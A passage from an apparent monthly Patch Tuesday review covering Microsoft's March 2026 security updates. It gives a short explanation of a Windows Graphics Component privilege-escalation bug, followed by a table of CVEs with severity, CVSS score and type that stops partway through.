don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
